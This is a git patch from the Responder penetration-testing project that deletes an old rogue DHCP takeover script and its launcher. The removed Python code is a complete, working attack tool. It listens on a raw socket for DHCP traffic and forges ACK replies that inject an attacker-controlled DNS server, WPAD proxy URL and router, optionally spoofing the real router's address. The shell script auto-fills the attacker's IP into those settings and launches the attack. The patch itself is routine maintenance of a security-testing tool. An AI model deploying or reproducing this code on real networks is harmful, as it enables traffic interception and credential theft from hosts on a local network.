From d425783be994b0d2518633e4b93e13e305685e5b Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 3 Dec 2021 00:08:40 -0300 Subject: [PATCH] Removed old DHCP script since its now a Responder module. --- tools/DHCP.py | 360 --------------------------------------------- tools/DHCP_Auto.sh | 63 -------- 2 files changed, 423 deletions(-) delete mode 100755 tools/DHCP.py delete mode 100755 tools/DHCP_Auto.sh diff --git a/tools/DHCP.py b/tools/DHCP.py deleted file mode 100755 index b36f8d6..0000000 --- a/tools/DHCP.py +++ /dev/null @@ -1,360 +0,0 @@ -#!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools -# created and maintained by Laurent Gaffie. -# email: laurent.gaffie@gmail.com -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import sys -if (sys.version_info < (3, 0)): - sys.exit('This script is meant to be run with Python3') -import struct -import optparse -import configparser -import os -import codecs -BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) -sys.path.insert(0, BASEDIR) -from odict import OrderedDict -from utils import * - -parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],) -parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") -parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME") -parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP") -parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP") -parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2") -parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask") -parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD") -parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof") -parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests") -options, args = parser.parse_args() - -def color(txt, code = 1, modifier = 0): - return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) - -if options.Interface is None: - print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.") - exit(-1) -elif options.RouterIP is None: - print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.") - exit(-1) -elif options.DNSIP is None: - print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.") - exit(-1) -elif options.DNSIP2 is None: - print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.") - exit(-1) - -#Python version -if (sys.version_info > (3, 0)): - PY2OR3 = "PY3" -else: - PY2OR3 = "PY2" - -def StructWithLenPython2or3(endian,data): - #Python2... - if PY2OR3 == "PY2": - return struct.pack(endian, data) - #Python3... - else: - return struct.pack(endian, data).decode('latin-1') - -def NetworkSendBufferPython2or3(data): - if PY2OR3 == "PY2": - return str(data) - else: - return bytes(str(data), 'latin-1') - -def NetworkRecvBufferPython2or3(data): - if PY2OR3 == "PY2": - return str(data) - else: - return str(data.decode('latin-1')) - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -print('#############################################################################') -print('## DHCP INFORM TAKEOVER 0.3 ##') -print('## ##') -print('## By default, this script will only inject a new DNS/WPAD ##') -print('## server to a Windows <= XP/2003 machine. ##') -print('## ##') -print('## To inject a DNS server/domain/route on a Windows >= Vista and ##') -print('## any linux box, use -R (can be noisy) ##') -print('## ##') -print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##') -print('#############################################################################') -print('') -print(color('[*]', 2, 1), 'Listening for events...') - -config = configparser.ConfigParser() -config.read(os.path.join(BASEDIR,'Responder.conf')) -RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f] -DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f] -Interface = options.Interface -Responder_IP = FindLocalIP(Interface, None) -ROUTERIP = options.RouterIP -NETMASK = options.Netmask -DHCPSERVER = Responder_IP -DNSIP = options.DNSIP -DNSIP2 = options.DNSIP2 -DNSNAME = options.DNSNAME -WPADSRV = options.WPAD.strip() + "\\n" -Spoof = options.Spoof -Respond_To_Requests = options.Respond_To_Requests - -if Spoof: - DHCPSERVER = ROUTERIP - -##### IP Header ##### -class IPHead(Packet): - fields = OrderedDict([ - ("Version", "\x45"), - ("DiffServices", "\x00"), - ("TotalLen", "\x00\x00"), - ("Ident", "\x00\x00"), - ("Flags", "\x00\x00"), - ("TTL", "\x40"), - ("Protocol", "\x11"), - ("Checksum", "\x00\x00"), - ("SrcIP", ""), - ("DstIP", ""), - ]) - -class UDP(Packet): - fields = OrderedDict([ - ("SrcPort", "\x00\x43"), - ("DstPort", "\x00\x44"), - ("Len", "\x00\x00"), - ("Checksum", "\x00\x00"), - ("Data", "\x00\x00"), - ]) - - def calculate(self): - self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8) - -class DHCPACK(Packet): - fields = OrderedDict([ - ("MessType", "\x02"), - ("HdwType", "\x01"), - ("HdwLen", "\x06"), - ("Hops", "\x00"), - ("Tid", "\x11\x22\x33\x44"), - ("ElapsedSec", "\x00\x00"), - ("BootpFlags", "\x00\x00"), - ("ActualClientIP", "\x00\x00\x00\x00"), - ("GiveClientIP", "\x00\x00\x00\x00"), - ("NextServerIP", "\x00\x00\x00\x00"), - ("RelayAgentIP", "\x00\x00\x00\x00"), - ("ClientMac", "\xff\xff\xff\xff\xff\xff"), - ("ClientMacPadding", "\x00" *10), - ("ServerHostname", "\x00" * 64), - ("BootFileName", "\x00" * 128), - ("MagicCookie", "\x63\x82\x53\x63"), - ("DHCPCode", "\x35"), #DHCP Message - ("DHCPCodeLen", "\x01"), - ("DHCPOpCode", "\x05"), #Msgtype(ACK) - ("Op54", "\x36"), - ("Op54Len", "\x04"), - ("Op54Str", ""), #DHCP Server - ("Op51", "\x33"), - ("Op51Len", "\x04"), - ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day - ("Op1", "\x01"), - ("Op1Len", "\x04"), - ("Op1Str", ""), #Netmask - ("Op15", "\x0f"), - ("Op15Len", "\x0e"), - ("Op15Str", ""), #DNS Name - ("Op3", "\x03"), - ("Op3Len", "\x04"), - ("Op3Str", ""), #Router - ("Op6", "\x06"), - ("Op6Len", "\x08"), - ("Op6Str", ""), #DNS Servers - ("Op252", "\xfc"), - ("Op252Len", "\x04"), - ("Op252Str", ""), #Wpad Server - ("Op255", "\xff"), - ("Padding", "\x00"), - ]) - - def calculate(self): - self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1') - self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') - self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') - self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') - self.fields["Op15Str"] = DNSNAME - self.fields["Op252Str"] = WPADSRV - self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) - self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) - -class DHCPInformACK(Packet): - fields = OrderedDict([ - ("MessType", "\x02"), - ("HdwType", "\x01"), - ("HdwLen", "\x06"), - ("Hops", "\x00"), - ("Tid", "\x11\x22\x33\x44"), - ("ElapsedSec", "\x00\x00"), - ("BootpFlags", "\x00\x00"), - ("ActualClientIP", "\x00\x00\x00\x00"), - ("GiveClientIP", "\x00\x00\x00\x00"), - ("NextServerIP", "\x00\x00\x00\x00"), - ("RelayAgentIP", "\x00\x00\x00\x00"), - ("ClientMac", "\xff\xff\xff\xff\xff\xff"), - ("ClientMacPadding", "\x00" *10), - ("ServerHostname", "\x00" * 64), - ("BootFileName", "\x00" * 128), - ("MagicCookie", "\x63\x82\x53\x63"), - ("Op53", "\x35\x01\x05"), #Msgtype(ACK) - ("Op54", "\x36"), - ("Op54Len", "\x04"), - ("Op54Str", ""), #DHCP Server - ("Op1", "\x01"), - ("Op1Len", "\x04"), - ("Op1Str", ""), #Netmask - ("Op15", "\x0f"), - ("Op15Len", "\x0e"), - ("Op15Str", ""), #DNS Name - ("Op3", "\x03"), - ("Op3Len", "\x04"), - ("Op3Str", ""), #Router - ("Op6", "\x06"), - ("Op6Len", "\x08"), - ("Op6Str", ""), #DNS Servers - ("Op252", "\xfc"), - ("Op252Len", "\x04"), - ("Op252Str", ""), #Wpad Server. - ("Op255", "\xff"), - ]) - - def calculate(self): - self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1') - self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') - self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') - self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') - self.fields["Op15Str"] = DNSNAME - self.fields["Op252Str"] = WPADSRV - self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) - self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) - -def SpoofIP(Spoof): - return ROUTERIP if Spoof else Responder_IP - -def RespondToThisIP(ClientIp): - if ClientIp.startswith('127.0.0.'): - return False - elif RespondTo and ClientIp not in RespondTo: - return False - elif ClientIp in RespondTo or RespondTo == []: - if ClientIp not in DontRespondTo: - return True - return False - -def ParseSrcDSTAddr(data): - SrcIP = socket.inet_ntoa(data[0][26:30]) - DstIP = socket.inet_ntoa(data[0][30:34]) - SrcPort = struct.unpack('>H',data[0][34:36])[0] - DstPort = struct.unpack('>H',data[0][36:38])[0] - return SrcIP, SrcPort, DstIP, DstPort - -def FindIP(data): - data = data.decode('latin-1') - IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) - return ''.join(IP[0:4]).encode('latin-1') - -def ParseDHCPCode(data): - PTid = data[4:8] - Seconds = data[8:10] - CurrentIP = socket.inet_ntoa(data[12:16]) - RequestedIP = socket.inet_ntoa(data[16:20]) - MacAddr = data[28:34] - MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper() - OpCode = data[242:243] - RequestIP = data[245:249] - - # DHCP Inform - if OpCode == b"\x08": - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP)) - Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'), - GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'), - NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'), - RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'), - ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate() - Buffer = UDP(Data = Packet) - Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) - return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr) - - elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request - IP = FindIP(data) - if IP: - IPConv = socket.inet_ntoa(IP) - if RespondToThisIP(IPConv): - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1')) - Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate() - Buffer = UDP(Data = Packet) - Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) - return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr) - - elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover - IP = FindIP(data) - if IP: - IPConv = socket.inet_ntoa(IP) - if RespondToThisIP(IPConv): - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) - Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate() - Buffer = UDP(Data = Packet) - Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) - return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr) - -def SendDHCP(packet,Host): - s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) - s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) - s.sendto(NetworkSendBufferPython2or3(packet), Host) - -if __name__ == "__main__": - s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) - s.bind((Interface, 0x0800)) - - while True: - try: - data = s.recvfrom(65535) - if data[0][23:24] == b"\x11": # is udp? - SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) - - if SrcPort == 67 or DstPort == 67: - ret = ParseDHCPCode(data[0][42:]) - if ret: - print(text("[DHCP] %s" % ret)) - - except KeyboardInterrupt: - sys.exit("\r%s Exiting..." % color('[*]', 2, 1)) diff --git a/tools/DHCP_Auto.sh b/tools/DHCP_Auto.sh deleted file mode 100755 index 1b5d1f2..0000000 --- a/tools/DHCP_Auto.sh +++ /dev/null @@ -1,63 +0,0 @@ -#!/bin/bash -# This file is part of Responder. laurent.gaffie@gmail.com -# -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . - -# This script will try to auto-detect network parameters -# to run the rogue DHCP server, to inject only your IP -# address as the primary DNS server and WPAD server and -# leave everything else normal. - -if [ -z $1 ]; then - echo "usage: $0 " - exit -fi - -if [ $EUID -ne 0 ]; then - echo "Must be run as root." - exit -fi - -if [ ! -d "/sys/class/net/$1" ]; then - echo "Interface does not exist." - exit -fi - -INTF=$1 -PATH="$PATH:/sbin" -IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'` -NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'` -DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'` -DNS1=$IPADDR -DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'` -ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'` -WPADSTR="http://$IPADDR/wpad.dat" -if [ -z "$DOMAIN" ]; then - DOMAIN=" " -fi - -echo "Running with parameters:" -echo "INTERFACE: $INTF" -echo "IP ADDR: $IPADDR" -echo "NETMAST: $NETMASK" -echo "ROUTER IP: $ROUTER" -echo "DNS1 IP: $DNS1" -echo "DNS2 IP: $DNS2" -echo "WPAD: $WPADSTR" -echo "" - - -echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\" -python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"